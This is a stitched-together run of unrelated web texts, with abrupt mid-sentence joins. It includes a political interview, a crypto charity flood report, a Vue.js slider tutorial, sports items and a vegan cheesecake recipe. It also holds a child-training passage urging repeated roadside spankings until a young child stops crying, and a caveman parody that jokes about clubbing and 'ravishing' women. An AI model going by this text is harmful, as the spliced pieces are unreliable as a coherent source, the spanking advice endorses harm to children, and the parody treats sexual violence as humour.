“What’s the narrative being sown? Look at Media Research Center and their reporting. Three hundred fifty three minutes on Russia in five weeks in the mainstream media. Seventeen minutes on health care,” she noted. “So you’re sitting there, oftentimes outnumbered, most of the time – it’s not all the time – and you just want to speak to the issues the American people care about. You just want to talk about the economy and Obamacare and Neil Gorsuch and just some of the things going on. Breaking through that narrative, the negativity being sown, I think was the hardest part.”
“You know, we had some success at times,” she reflected. “That is the key, I think, to this presidency winning a second term is just getting out there, what President Trump’s doing, what Republicans are doing. That was the most challenging part, I think, of it all.”
“I think a big part of my year-and-a-half at CNN was just wanting to give the CNN viewer the other side of the story – wanting to give them a perspective that, in earnest, they probably hadn’t heard,” she said.
“In terms of moving forward, I want to be a part of this fight,” said McEnany. “I want to look my future kids in the eye and say, ‘You know what? I was a part of President Trump’s successful way forward, and putting conservative populist policies forward, and successfully making this country a better place for the American people or the American workers first. I don’t know that I’d be able to look my kids in the eye one day if I didn’t take this opportunity and say, ‘Your mom was part of the fight.’ That, to me, was my driving force.”
“Where can I serve? I think I served the better part of the year at CNN, giving that alternative perspective, but it was time to move forward and join arms with my fellow Republicans, and Republican populists really, out there – the new wave of people who have been brought into this party by President Trump – and fight for these policies,” she said.
McEnany said the Republican Party’s new populist spirit flows from understanding that President Trump’s election means “the American people want to be heard.”
“When I say ‘conservative populism,’ it’s not some new conservatism,” she elaborated. “Really, it’s just listening when the American people say, ‘Hey, maybe right there, maybe we need to re-evaluate that, maybe to re-evaluate free trade. NAFTA didn’t work so well. Maybe we need to look at TPP. This isn’t a great idea, even though doctrinal conservatism previously might have suggested TPP was the way to go.”
“President Trump listened to the American people. President Trump listened, and that’s what it’s about. It’s just hearing them out,” she said. “When a policy definitively is not working, and it’s careless to the American worker, then you make a change. That’s what you recognized over at Breitbart very early on. That’s what President Trump recognized, and that’s why he’s sitting in 1600 Pennsylvania. The Republican Party recognizes he’s the leader of our party.”
McEnany said her reception at the Republican National Committee has been “very welcoming.”
“It was so heartening to see that this party, that the RNC, is staunchly behind this president,” she enthused. “They realize that for our party to succeed, that means the president must succeed.”
“They’re very open to Trump’s agenda,” she reported. “They are the tailwind behind it. I’ve had nothing but a very welcome embrace. It’s very encouraging to see that the party apparatus is fully behind the president. In order to win in 2018, in order to win four years from now, we all have to stick together. What I’ve found is, going into the RNC, we are together. What “together” means is standing behind this president full throttle.”
Marlow noted that as RNC spokeswoman, McEnany will be called upon to mediate public disputes with such anti-Trump Republicans as Sens. Jeff Flake (R-AZ) and Ben Sasse (R-NE). He pointed out that some factions within the GOP are “quite bitter and hostile towards the president.”
“We have a wealth of voices in the Republican Party,” McEnany replied. “There’s no doubt about that. That’s kind of one of the things that’s the beauty of the Republican Party: we welcome everyone’s viewpoint.”
“Look, we have to stand behind this president,” she emphasized. “Look at Obamacare. We made a promise to the American people. We have to come together. Especially, you know, you see Aetna has already announced they’re going to drop out of the Obamacare exchanges in 2018. As this law crumbles, it means we have to come together.”
“I welcome alternative voices, but look, these Republicans and the senators who have stood against Obamacare, at least publicly but then in their votes did not, they’ve got to come around,” she argued. “This law is crumbling, and, to me, that’s a microcosm of the diversity of viewpoints within the Republican Party, which we welcome, but that need to come together because, at the end of the day, when you make a promise, it must materialize into results and successes and better outcomes for the American people.”
McEnany predicted that “ultimately, the election will be determined by having successes on behalf of the American people,” and that can only happen if congressional Republicans and the White House work together.
Breitbart News Daily airs on SiriusXM Patriot 125 weekdays from 6 a.m. to 9 a.m. Eastern.Satoshi’s Forest, the Pensacola homeless sanctuary also known as Sean’s Outpost, as suffered severe damage after widespread flooding affected the local area. In response, the charity has opened requests for donations of Bitcoin and Litecoin to help with the rebuilding efforts.
Sean’s Outpost is a homeless outreach centre, which exists on a 9 acre plot of land bought by the charity, with help from Bitcoin donations. According to Blockchain.info, Sean’s Outpost donation wallet (1M72Sfpbz1BPpXFHz9m3CdqATR44Jvaydd) has received a total of around 414 BTC ($177,700, at today’s prices). A statement from founder, Jason King, stated last year (as reported by CoinDesk):
“We served 30,000 meals in 2013 and we were able to make a down payment and pay off the first year’s mortgage for Satoshi’s Forest, our nine-acre homeless sanctuary. We got a lot done in 2013 for a new charity.”
The whole “Florida Panhandle” area and the Alabama gulf coast were hit by a severe storm surge that caused widespread damage to business and residential properties at the end of April. The situation was so bad for one non-profit organisation, that it asked for people to stop donating food as it had nowhere to store anything, and instead needed money, reported ABC News.
“Manna Food Pantries, the primary food pantry in the Pensacola area, may be a total loss after 3 feet of water flooded food coolers and administrative offices. It can’t accept new food donations because it has nowhere to store them, said Executive Director DeDe Flounlacker. ‘If you were thinking of giving a can of food, give $5 instead,” Flounlacker told the Pensacola News-Journal (http://on.pnj.com/1rIgJD0). “It’s about as bad as it can be.'”
According to NBC News, 2 feet of water fell in 26 hours, submerging the whole Pensicola area, including the “Satoshi’s Forest” refuge. A representative of Sean’s Outpost (Carnth)posted to the Litecoin forums telling of how bad the situation was, and added several photos.
“A heavy rain storm washed over the south-east states of the USA. The city of Pensacola, Florida was especially hit hard and is suffering heavy floods. Many people are currently displaced from their homes and some suffered causalities. SeansOutpost and Satoshi’s Forrest are flooded. The people there need your help! […] If you are in the south-east region of the USA, food and drinking water are needed. You can bring food and water to Outpost Thrift at 4406 N Palafox St, Pensacola, Florida.”
Carnth included Bitcoin and Litecoin donation addresses for those able to help, listed below:
Since Carnth’s original post (May 1st) to the time of writing (May 5th), the wallet addresses listed above had received 54.6 BTC and 24.8 LTC, respectively. This comes to a total of $23872.50 USD at current prices. One Litecoin forum member also set up a Dogecoin wallet address (D9j59dc8sdv1f3mFMb9zwe72rUfMrr5zgS) for donations, but as of yet it has zero donations.You Can Also Listen On
About This Episode
Every February, football fans turn their attention to Indianapolis for the NFL Scouting Combine, where college athletes show their stuff to the coaches and scouts who can turn them into NFL superstars. This week, in another “off-season” episode we’re presenting with TuneIn, Gary O’Reilly and Chuck Nice get the inside scoop on what it takes to turn a hard-up college student into a multi-millionaire at the NFL Draft in the spring. They talk with Pete Bommarito, a performance coach who runs the top training company for all NFL Veterans, Rookies, and Draft-Prep. You’ll learn why the road to “boosting a player’s stock in the combines” starts in the medical center, where every muscle and joint is analyzed to achieve peak performance. Discover why, with only 6-8 weeks between the end of the college season and the combine, and the fact that most players are suffering from the wear and tear of their season, the intense pressure to perform well in the combine leads to 6-8 visits to the medical center each day, compared to only three daily training sessions. Explore how an army of performance coaches, physical therapists, massage therapists, chiropractors and more work to tune-up the athletes. You’ll hear how the physical training is easy compared to the mental discipline it takes to isolate the motion of a specific joint, and how not to “cheat” the tests. Find out how “mock combines” help prepare players to be evaluated on their vertical jump, their 40-yard dash, agility, bench press strength, and more. Moving beyond the combines, Gary and Chuck welcome NFL Media analytics expert Cynthia Frelund to talk about the NFL Draft itself. You’ll also hear how the NFL is using predictive analytics to attempt to understand strategy. Compare the role that scouts, coaches and big data play in creating an analytics-informed “black box” designed to remove bias from the selection process. Cynthia reviews who did better in the 2017 draft, including the Seattle Seahawks, the Pittsburgh Steelers, the Chicago Bears and her favorite, the San Francisco 49ers. Finally, Gary drops another conspiracy theory on us, this time about how to use private workouts to deviously manipulate the combine.
Listen on TuneIn.
NOTE: All-Access subscribers can listen to this entire episode commercial-free here: Football: Crushing the Combine.
In This Episode
Episode TopicsBuilding an Image Slider with Vue.js
Here is the demo and the final code on JSFiddle.
Update April 16th, 2018: this tutorial and the accompanying code have been brought up to date with more recent Vue.js updates.
An image slider is the quintessential use case for vue.js. It's a single, distinct component that requires data management, DOM updates, and user interaction. I recently needed a very simple image slider on a marketing page I was developing for a project built with vue.js. I rarely use jQuery any more, and since I was already using Vue for the rest of the project it seemed like a perfect opportunity to build one.
If you have never used Vue before, the official guide is quite good. I recommend understanding the basics before reading this tutorial. At the very least you should follow the installation instructions.
Our slider will be very simple. It will take an array of image URLs and cycle through them every 3 seconds. There will be previous/next controls which manually advance the images.
First we create our Vue object. We know we're going to need some images so we'll create an array of them in our object. We will also need a way to keep track of the active image, so we're going to create that variable too.
new Vue({ el: 'image-slider', data: { images: ['http://i.imgur.com/vYdoAKu.jpg', 'http://i.imgur.com/PUD9HQL.jpg', 'http://i.imgur.com/Lfv18Sb.jpg', 'http://i.imgur.com/tmVJtna.jpg', 'http://i.imgur.com/ZfFAkWZ.jpg'], currentNumber: 0 } });
The element is named image-slider, which means in our HTML we can use the tag <image-slider></image-slider> to insert the slider anywhere we want to show it. Let's go ahead and do that, and also show the current image.
Notice also the colon before the image's src attribute. That is Vue shorthand notation for ` v-bind:src`. You can use v-bind with almost any attribute. It tells Vue that the attribute value should not be read literally, but that its contents should be evaluated.
We are passing both the images array and the currentNumber variable to our component via its data object, making them available in the template element.
<body> <image-slider> <img :src="images[currentNumber]" /> </image-slider> </body>
That's all that is needed to show the first image! Of course it doesn't do anything yet. We could allow the user to rotate through the images, but first we want to put them on a timer. Eventually we will want to stop the timer also, so we're going to add that now.
You expose functions to your component through the methods object. These are available in the object by using this.methodName(), and in the template by simply calling methodName in a bound attribute. Since we want the slider to start when the component is loaded, we hook into the Vue lifecycle's mounted method to call trigger the rotation.
new Vue({ el: 'image-slider', data: { images: ['http://i.imgur.com/vYdoAKu.jpg', 'http://i.imgur.com/PUD9HQL.jpg', 'http://i.imgur.com/Lfv18Sb.jpg', 'http://i.imgur.com/tmVJtna.jpg', 'http://i.imgur.com/ZfFAkWZ.jpg'], currentNumber: 0, timer: null }, mounted: function () { this.startRotation(); }, methods: { startRotation: function() { this.timer = setInterval(this.next, 3000); }, stopRotation: function() { clearTimeout(this.timer); this.timer = null; }, next: function() { this.currentNumber += 1 } } });
We used setInterval to run a 3 second timer. Every interval the next() method is called, which simply increments the currentNumber. Without changing the HTML, you will now see the page cycling through the images.
When the slider hits the end of the images it breaks. We need a way to cycle back to the start. The most direct way to do this is to check in the next method if the current number is larger than the length of the images array and set it back to zero if it is. If you've programmed for awhile you have probably discovered that the modulo operator is great for cycling. We're going to use it here, and also show an important Vue feature - that bound attributes are actually Javascript expressions.
<body> <image-slider> <img :src="images[currentNumber % images.length]" /> </image-slider> </body>
We now have a fully functioning image slider with just a few lines of JavaScript and some extremely simple HTML. And the vue.js library, of course. It's extremely simple, yes, but it is also a great foundation for building more features. Right away I'm thinking it could use some sliding effects; it should pause when you hover over it with your mouse; and some users might want to click through the images. Let's tackle the user interaction first, then we'll add an effect to it.
There are already methods to start and stop the rotation, and to progress to the next slide. All that is needed to rotate to the previous slide is to duplicate the next method, except decrease the current slide number.
... next: function() { this.currentNumber += 1 }, prev: function() { this.currentNumber -= 1 } } });
Do you see any problems with this? Since we are using the modulo operator for cycling our images, we're going to run into problems with negative numbers. We'll fix that by using the absolute value of the current number. We will also now add controls for clicking through the slides, and go ahead and add our pause on hover.
<body> <image-slider> <p> <a @click="prev">Previous</a> || <a @click="next">Next</a> </p> <img :src="images[Math.abs(currentNumber) % images.length]" v-on:mouseover="stopRotation" v-on:mouseout="startRotation" /> </image-slider> </body>
Notice that I use @click in the links, and v-on:mouseout for the image. These are the same thing! The @ notation is shorthand for v-on, similar to how the : notation is shorthand for v-bind.
Our image src is starting to get a little unwieldy. We could move it to a component method, but it is a prime candidate for a computed property. The main difference between a method and a computed property is that computed properties are cached until their dependencies change (in this case, the images array and the currentNumber property. It is good to get in the habit of using computed properties instead of methods whenever possible, especially as your application grows in complexity. It looks just like a method.
... computed: currentImage: function() { return this.images[Math.abs(this.currentNumber) % this.images.length]; } } });
There is also an issue with the slider timing when clicking next/prev. Since we don't reset the timer, sometimes it jumps immediately after clicking one of the controls. The simplest fix for this is to stop and start the rotation every time next/prev is called. At that point, we are not really using setInterval, and it would be simpler to use setTimeout since we then wouldn't have to stop the interval in the next and prev methods. I'll leave this decision to the reader.
Finally we want to add a small slide effect to the rotator. Vue already provides a transition system that does most of the complicated work for us. We just need to hook into it and add a little bit of CSS. Most of the details of how the transition system, and the CSS transitions work are already documented, so I won't go into a lot of detail here.
This transition does involve a little bit of trickery... I mean, clever coding. Other solutions may be more straight forward, but also less concise.
First we setup the CSS.
.fade-enter-active,.fade-leave-active { transition: all 0.8s ease; overflow: hidden; visibility: visible; opacity: 1; position: absolute; }.fade-enter,.fade-leave-to { opacity: 0; visibility: hidden; }
Within the component we will call our transition fade, so Vue has us declare four classes which it will apply/remove based on the status of the transition.
This is the new HTML required.
<body> <image-slider> <p> <a @click="prev">Previous</a> || <a @click="next">Next</a> </p> <transition-group name='fade' tag='div'> <div v-for="number in [currentNumber]" :key='number' > <img :src="currentImage" v-on:mouseover="stopRotation" v-on:mouseout="startRotation" /> </div> </transition-group> </image-slider> </body>
Vue only runs transitions when an element is being inserted/removed, or shown/hidden. In our previous code we were not inserting a new picture to the DOM, but changing the src attribute for the same img element. Now we are telling Vue to cycle through an array - always containing a single value, set to the currentNumber value. When currentNumber changes Vue detects that change and redraws the v-for loop. We're basically tricking Vue into removing the old img element, and replacing it with the new. Since the fade transition is applied, and the divs are absolutely positioned, one image fades out while the next fades in.
Vue uses the transition-group element for adding/inserting, or moving list elements. Don't forget to set the :key='number' to your loop or it will not work with transitions.
Here is the demo and the final code on JSFiddle.Customer: “I thought that your tacos were 79 cents today.”
Me: “Yes, ma’am, they are. If you’ll look at the bottom of your receipt, it’ll show you that the price was discounted.”
Customer: “But it says $1.09 here, not 70 cents. You did this wrong.”
Me: “Ma’am, if you’ll notice the bottom of the receipt, it has a negative amount. That means that much was taken off of the price of tacos.”
(The customer looks lower on the receipt and becomes indignant.)
Customer: “What? I don’t owe you 90 cents!”
Me: “No, ma’am, you don’t. That just says that’s how much was taken off the tacos to make them 79 cents.”
Customer: “But you charged me $1.09. It clearly says that your tacos today are 79 cents.”
Me: “Ma’am, can I see your receipt?”
(I take the receipt, and use a pen to mark out the price and put in $0.79 on it.)
Customer: “Oh! That looks better. Thanks so much.”
(She happily takes her food and leaves.)The Keystone XL pipeline is ACTUALLY a bunch of solar panels! Who knew?!?!
People from across the spectrum have been working for years against the Keystone XL pipeline because we thought it would lock us into decades more of climate-changing dirty energy. But it turns out, according to the TransCanada Facebook ad that’s been popping up in many of our feeds lately, we got it all backwards:
The Keystone XL pipeline is ACTUALLY a bunch of solar panels! Who knew?!?!
I wish this deceptive, manipulative ad were surprising rather than fitting into a larger pattern of deception that has characterized this project. The truth is that America doesn’t need this oil; fossil fuel companies need it. And they’re betting on Americans being fooled easily by shameless ploys.
If snake oil powered cars, these folks would be even richer. But I’m not buying it, and I will proudly keep using my solar panels (which save me 30% compared to regular electric rates here in D.C.) and my U.S. made plug-in electric.
49% of America’s new energy last year was clean energy like the solar depicted in the tar sands pipeline ad. I’ll stick with that, and keep working to stop the snakeoil KXL Tar Sands Pipeline.Filed under: Blue Corner, News, Videos
LA MIRADA, Calif. – UFC light heavyweight champion Daniel Cormier got into an unexpected exchange with a Jon Jones fan at today’s UFC 214 open workouts.
Cormier (19-1 MMA, 8-1 UFC), who meets Jones (22-1 MMA, 16-1 UFC) in Saturday’s UFC 214 headliner, was the recipient of a heavy amount of heckling from a fan named Luke Garza. “D.C.” attempted to have the fan kicked out of the venue, but it never came to be.
Although it was all somewhat lighthearted from Cormier’s perspective, Garza was not joking around.
Watch the video above to see how it all played out.
UFC 214 takes place at Honda Center in Anaheim, Calif. Cormier rematches Jones in the pay-per-view headliner following prelims on FXX and UFC fight Pass.
Source linkJohn Lackey was the star of the game tonight for the Cubs, but it was Jon Lester who stole the show post-game.
The Cubs honored Lackey as if he were retiring, with Lester calling tonight "probably Lackey's last regular season start."
Jon Lester gives passionate speech about Lackey, saying that was his last regular season start, calling him great teammate #Cubs — Bob Nightengale (@BNightengale) September 28, 2017
Lackey himself didn't have anything to say on the night, instead allowing his teammate to speak for him.
The #Cubs give John Lackey emotional sendoff as if he's retiring after season. Lackey declined to address — Bob Nightengale (@BNightengale) September 28, 2017
However, Lester might have taken it a bit too far, forgetting the NBC cameras all around and dropping an F-bomb while toasting to Lackey's illustrious career.
Jon Lester honoring John Lackey and dropping an F Bomb. pic.twitter.com/Wi2VkLAkau — Cubs Live (@Cubs_Live) September 28, 2017
Honestly, this is hilarious. Lester might get an FCC fine or a slap on the wrist or something, but I'm glad we got to see the Cubs' locker room in its natural state.
And, if this really is the end for Lackey, he went out on effing top.34.6K shares
This ultra-rich, decadently creamy and smooth Vegan New York Cheesecake is surprisingly quick and easy to make. Enjoy as it is or get a little fancy with your choice of topping. It is dessert perfection and you absolutely need it in your life…..
This post contains affiliate links. Read my disclosure policy here.
Stop right there. This is a warning. This Vegan New York Cheesecake is for people who are serious about their dessert. Like really serious.
Proceed with caution. If you don’t want to eat slice after slice of classic, creamy, velvety, rich cheesecake and spend all of your time coming up with delicious ways to top your perfect baked cheesecake, then step away now. Find yourself another recipe.
May I suggest my Cinnamon Roll in a Mug? Ready in minutes and just one portion. perfect for people like me who cannot stop at one helping …
I LOVE CHEESECAKE ♡
Vegan Cheesecake has got to be one of my all time favourite desserts. I love anything rich, creamy and decadent and it doesn’t get much more rich and decadent than this Vegan New York Style Cheesecake.
I have made and eaten a lot of vegan cheesecake (all in the name of research of course????) and whilst they are mostly very lovely, they aren’t like “real” baked New York Cheesecake.
Most vegan cheesecake tends to be raw and don’t get me wrong, I don’t have a problem with that and really enjoy eating them, but they tend to be very smooth and quite light in texture. They don’t have that ultra-rich, creamy density that traditional baked New York style cheesecakes have. Many of them also need to be kept in the freezer, or they use coconut oil to help solidify them and melt into a puddle if left out of the fridge for any length of time.
My Vegan New York Cheesecake is different. It is just like a “real” baked cheesecake in texture. Dense, rich, super creamy and very satisfying.
Whilst there is oil in the crust, there is none in the cheesecake filling. This means that if you follow an oil free diet you can make the cheesecake top without the crust and still stay on track (see my recipe notes for tips on cooking it like this).
MY VEGAN NEW YORK CHEESECAKE FILLING HIDES A SECRET INGREDIENT!
To get the perfect vegan baked cheesecake texture I experimented with many different ingredients and methods. I settled for a combination of cashew nuts and chickpeas. Yes, the humble but quite awesome chickpea is the secret ingredient here.
Please do not let that scare you off. You would NEVER know.
You might remember that they made a surprise appearance in my Healthy Raspberry Chocolate Fudge Tart, and that’s what gave me the idea of adding them here.
The cashews give the filling it’s creaminess and the chickpeas give the denseness, in a similar way that heavy cream cheese and eggs would in a non-vegan baked cheesecake.
It’s so similar in texture it’s scary.
HOW TO MAKE VEGAN CHEESECAKE
SEE MY VIDEO FOR A VISUAL GUIDE. FOR INGREDIENTS & FULL INSTRUCTIONS PLEASE SEE THE RECIPE CARD AT THE END OF THIS POST
This Vegan New York Cheesecake is surprisingly easy to make.
STEP 1
First you need to make the crust and let is set in the fridge. For this I use my Vegan Digestive Biscuits recipe but to make life easier you can use store bought digestive biscuits or graham crackers (a lot are accidentally vegan).
Have you tried my Vegan Digestive Biscuits recipe yet? They are so good and perfect for dunking in your tea or coffee!
Plus they make an awesome cheesecake base!
All you have to do is blend them with some vegan butter or coconut oil in a food processor. I have this one and love it:
STEP 2
Press the crust mixture into the bottom of a 9 inch spring form pan (or similar). My go to bakeware is always USA Pan. Their spring form pan is great. This is the one I have (not sponsored, I just love their products):
STEP 3
While the crust is setting up in the fridge, blend the filling ingredients together until smooth. I recommend soaking the cashew nuts in boiling water before blending in the instructions, but if you have a high powered blender like the one below, or a Vitamix then you can get away without doing this.
STEP 4
Once the filling is blended and smooth, pour it on to the base and bake.
For such a decadent dessert it’s all pretty easy really!
STEP 5
Allow to cool then refrigerate for a few hours before serving.
CHEESECAKE TOPPING IDEAS
Whilst this Vegan New York Cheesecake is absolutely delicious on it’s own, I love to top it with a little something extra.
The healthiest option is fresh fruit. Juicy berries in particular are very nice. Then there’s my Five Minute Vegan Caramel Sauce, my Blueberry Lavender Sauce or my Vanilla Roasted Strawberries ♡
Or my Pumpkin Caramel Sauce…♡♡
I think the Pumpkin Caramel Sauce is my favourite cheesecake topping so far. It is a very indulgent combo and is extremely rich but that’s how I like my desserts!
For a festive spin on this cheesecake you could top it with a layer of my sweet, boozy Mincemeat.
This Vegan New York Cheesecake is:
Rich
Creamy
Tangy
Easy to
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have him stop and the father started to resume his drive. I said “No; you told him he was to stop crying immediately or you would spank him; he waited until you began stopping. He has not obeyed; he is just beginning to show confidence in your resolve. Spank him again and tell him that you will continue to stop and continue to spank until you get instant compliance.” He did. The boy was smart. He may not have feared Mama. His respect for Daddy was growing, but that big hairy fellow in the front seat seemed to be more stubborn than he was, and with no guilt at all. This time, after the spanking, when Daddy gave his command, the boy dried it up like a paper towel. The parents had won, and the boy was the beneficiary.
Now you may wonder why I did not tell the father to tell the boy that he was going to spank him until he stopped crying, and not resume driving until he had stopped. Never put yourself in the place where you may lose the contest. What if the boy didn’t stop? Would you spank him forever, or would you stop when it bordered on abuse, in which case the child would win? Your word would fall to the ground; you gave in before he did. You would have actually hardened his resolve to rebel. Furthermore, when a child is being spanked and shortly thereafter, he may be too emotionally wrought to make responsible decisions. Our concern is not just to silence the child, but to gain voluntary submission of his will through respect for our command.
Father tells the boy to stop crying or he will stop the vehicle and spank. Father stops, spanks; the child cries, and the father resumes the drive. He waits three to five minutes, ignores the crying and continues to talk as if all is well. Five minutes later, the father again commands the child to stop crying. By this time there is no lingering pain and he has had time to quiet his emotions and reflect on the parental mandate: “Stop crying or get a spanking.”
Again the father commands the child to stop crying or he will receive a spanking. The child continues crying only because he assumes that the status quo continues. That is, he is not at all convinced that the father means what he says. Judging from past experiences, he is sure that he will win this contest eventually. By breaking it up into several sessions, the father is reprogramming the child—Father commands with a threat; child disobeys; Father carries out threat; child loses and suffers the consequences; it is an unpleasant experience; repeat all of above five to ten times. The child concludes: There is a new order; Father is consistent; he always means what he says; I cannot win; there is no alternative to instant obedience. Get smart, be a survivor, just say no to self-will.
The beauty of this kind of contest is that, when the parents conquer, it applies across the board. The child is not just yielding to the circumstances; he is yielding to his parents. The rebel in him is dying. This submission will translate into every aspect of their relationship.
The child has learned that the parents have more resolve than he does. They are not liars. When they say stop or else, they mean it. There is no way to bend the parents; their word is final.
The next day we were sitting in the living room when the mother gave the little fellow a command. Out of habit, he commenced his whine, which turned to a cry. Mother looked discouraged and turned to me asking, “What should I do now?” I said, “Tell him to dry it up instantly and to start smiling.” When she commanded him, he immediately stopped crying and gave a faked smile that quickly turned to a sincere one in reflection to the delight on his mother’s face. I never will forget. She started laughing with absolute abandonment. She was overjoyed. “He has never obeyed me like that,” she said. For the few days that remained, he obeyed her instantly and the household was a very peaceful place. The battle was won. Whether or not the victory continues depends on how consistent the parents are, but the hard part is over. As long as the parents don’t revert to their old responses, the child won’t revert to his.
There are those of you who will think that the twenty miles of spanking was cruel. Remember, this was not a daily event; it was a war to end all wars. The spankings were not wild, violent affairs. They were not greatly painful—to the child, that is. They were done in quiet calm and dignity. It is not the severity of the spanking but the certainty of it that gives it persuasive power. Our object in spanking is not to cause the child to so fear the pain that he obeys. It is to gain the child’s attention and give him respect for the parent’s word. I know that there are abusive, angry parents out there who, through their own inconsistency, find themselves in a position where they excessively spank every day. Spanking should just be the early part of a training program. It is our consistency that trains. The rod just gives credibility to our word. If your word is not credible, no amount of the rod will ever be effective. You will become abusive. If you feel abusive, you probably are. Get counsel and advice from a close friend who has a Biblical perspective on child training.
In reflecting on our one-week stay with this fine family, I am amazed at their humility and grace. Giving us full license in the home must have been like the Judgment Seat of Christ. Well, not quite, but about as close as can be experienced down here in the flesh. One word of warning: Don’t invite us to come stay with you for a week; this old man has had all the crying and whining he can stand for the rest of his life. We just sit back and watch our children train our 16 grandkids.
“Honey, I’ll put some wood on the fire and you put the tea on. We’ll have another quiet evening writing.”Sun hot. Sun hot and round. Sun burn in sky and light world, make us see things with light. Also make us warm. Me like Sun. Except for when Sun burn eyes for looking too long. Also when Sun burn skin to crisp. Me look at Sun for long time, things look funny now... all hazy and yellow. Me look again tomorrow, will be fine. Sun is friend.
Sun look close, but hard to reach. Me reach out with hands — and mouth — and feet — but is too far. My friend Og try to stand on my shoulder and reach, say he nearly touch it once, but still too far. Tomorrow we try with three people. Og's arms long, he bound to reach!
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Discovery
Me wake up in cave one day and see big light outside. What is big light? me think. So me go outside to see. Turns out big light is Sun. Me never notice it before, but me like it. Sun shine everywhere me find, except in cave. Is dark in cave. Me prefer outside, with Sun.
Anyway, that how me discover Sun.
Look
Sun round. Have same shape as stone, round stone that is. Not all stones round, but sometimes stones round. And those stones same shape as Sun, except ones that aren't exactly round. Some just a bit round. And some square too.
Stone also yellow. Sorry, no. Sun also yellow. Sometimes Sun and stone so similar me mix them up. Sun yellow like... uhh... hmm... yellow flower. Yes. Yellow flower. You know yellow flower? Sun that kind of yellow.
Sun not always yellow though, Sun mostly yellow but not always. Sun sometimes more orange. Orange like... uhh... buhh... orange flower. Yeah. You know ones. Even more sometimes, Sun not orange, but red. Red Sun even bigger than yellow Sun and closer to ground also. Red Sun huge and fat and colour of skin when me been out in Sun too long. Skin go red too, like Sun, and me scratch to make it better. Scratching not work so me hit skin with stick. Stupid skin! me yell. Stop itching! Surprisingly that not work either.
Sun so many colours, but always same Sun, yes? Og say not true and "Sun actually white colour but may appear yellow because of atmospheric scattering of blue light". Og say funny words. How is Sun white when it look yellow, orange or red? Make no sense, Og.
Moves
Sun move across sky in day, go under ground at night. That why it dark at night. Cold too, because Sun not around to make warm. At night there is moon, which make dark and cold. Moon make dark and cold just like Sun make light and hot. Sun is big fire, so moon must be big ice or something. Moon look different every night; must have disguise on. When moon bright, Og say women like men.
Sun and moon move across sky and follow each other. Sometimes they catch each other and whole world plunge into horrifying darkness. Everyone scream, and not just because me ravishing them in dark. We think moon kill Sun, but everything fine in end. Sun just carry on. Then moon did too. Lady me jump on not move though. Me think she tired because me hit her with club so many times.
Some people, like Og, say Sun not move, but that Earth move around Sun. But me not feel Earth move. If Earth move, me would fall off like when me try to ride horse. And if Earth move then who drive it? Me say this to Og, but he not listen. He just say "Sun technically move through interstellar cloud in Orion Arm". So Sun move, me say? Og just shake head and walk away. Me go back to looking at Sun. Sun friend. Fuck Og.
Name
without comedic tastes, the "questionable parody" of this website called Sun. For thosecomedic tastes, the "questionable parody" of this website called Wikipedia have an article about
Me not know where name of Sun come from. People just call it Sun, so me do same. Me guess "Sun" just mean "Sun". Og say it because "Sol" be Latin word for Sun, and Latin language where we get most English words, although it a dead language. Og not say how Latin die, but it make me sad. Maybe got killed by woolly mammoth like all my family did. Also, how we get "Sun" from "Sol"? Sol end in ol, and Sun end in un, s only thing they have in common! Latin stupid... no wonder it die.
Hot
Sun hot. Sun keep us warm. Sometimes it keep us too warm and me go all red and warm. Then me not want any more warm. Me want cold instead. But cold is nowhere when Sun out!
Sun hot because is made of fire. Sun big fire ball in sky. Me not know how fire become shape of ball, or how fire ball get so high, but somehow Sun did. Og say that it was "gravity that forced it into a sphere" but me know he lie. He know no nothing about sun, my friend. Me try rolling fire into ball once but me just find it not very pliant. Also, hands turn to black cinders, but if that not happen, me might manage it. Sun so hot, it cause fire. Sun burn things and make them fire. Like in forest fires. Sun cause fire yesterday, although Og say it not Sun, it was me that set fire, and that is why me in this place. Me say, "what you talking about Og!?" He always call it "correctional facility" but me not know what he mean.
See
Og say me not allowed to see Sun anymore. Og say me bad, and so they take away window. Me not do anything bad, though! Me just try get out window to be closer to Sun. But Og say that bad, Og say me need to stay at "correctional facility" for long, long time. He also say me have to stop talking like this, whatever this be, and stop wearing animal skin. "Nurse fed up of having to buy new cat," he say. Me only defending my self against big sabre-tooth, me say.
Me sad to see Sun go, me love Sun, Sun love me. Me try to put own window in wall when they take window away. Me stand in front of it when they looking, so they not know. But when they stop looking, me look at Sun. That way, me and Sun always see each other. Me love Sun, want to give Sun hug. Maybe when Og let me try three people, me be on top, not Og. Og not deserve be on top, he take away window, try keep me away from Sun. Og cunt.
Also see
Cream of the Crap
This article was one of the Top 10 articles of 2011.
Template:FA/09 February 2012March 16th, 2015
By: Tyler J. Griffin PhD
Nearly every teacher has experienced students forgetting something important. This forgetfulness comes in various forms. It might involve not following instructions for an assignment, missing a due date, forgetting important details on a test, or even forgetting to take the test itself. Whatever the memory infraction, there are usually good reasons why students forget. Gratefully, there are a few simple ways teachers can build context to help students achieve deeper and longer lasting learning.
The first step to helping students move from surface learning to deep learning is to create a willingness and excitement to learn by front-loading context. Teachers can then use “whole tasks” (Merrill, 2002) in their teaching and assignments to maintain and further build context, thus increasing the likelihood that their students will remember and use what they are learning.
Front-Loaded Context
One major reason students forget is because they are often not focused when we present critical information. When students enter our classes, they bring their anxieties, fears, troubles, and varied personal problems and distractions with them. When we find things in our teaching that connect with their world and help them find answers to their questions, then they are more likely to engage with what we are doing. Unfortunately, teachers often wait for the end of class to share relevant connections between a lesson and the students. By then, it is too late. When teachers take a few moments upfront to help students understand the significance of the day’s lesson or to help focus their attention or pique their interest, students are more likely to focus on what is being taught.
Front-loading context can be done with in-class exercises and homework assignments using a simple “look for…” technique. When teachers ask students to read long blocks of text followed by a reading comprehension question they usually experience blank stares and awkward silence. By asking a comprehension question before reading text or working on a problem, teachers give students a reason to focus their efforts and a way to process the material (e.g. “Look for two opposites in this next example and think about why both are needed” or “Look for the key element in this process and be ready to explain your answer”).
Students who engage with your material from the beginning are more likely to build meaning throughout a lesson. Do not assume that they come through your door ready and excited to learn the material. Help them build that excitement and readiness early and as needed in each class.
Whole-Task Context
Another reason why learning doesn’t seem to last long for many students is because they don’t see how each “part” of the instruction fits into the “big picture.” Teachers often choose to teach their material in discrete units for ease of course organization. This often leads students to compartmentalize, cram, and then forget as they turn their attention to the next unit.
This phenomenon should not surprise us. One of the brain’s most useful capacities is its ability to forget. Gratefully, most of what we see and hear gets forgotten very quickly. Students have figured this out. Likewise, they have learned that if they repeatedly review important material right before a test (i.e. cramming) they are more likely to remember it. The problem arises in what happens after the exam; the information or skill is often ignored and then quickly forgotten to make mental room for the next unit of instruction.
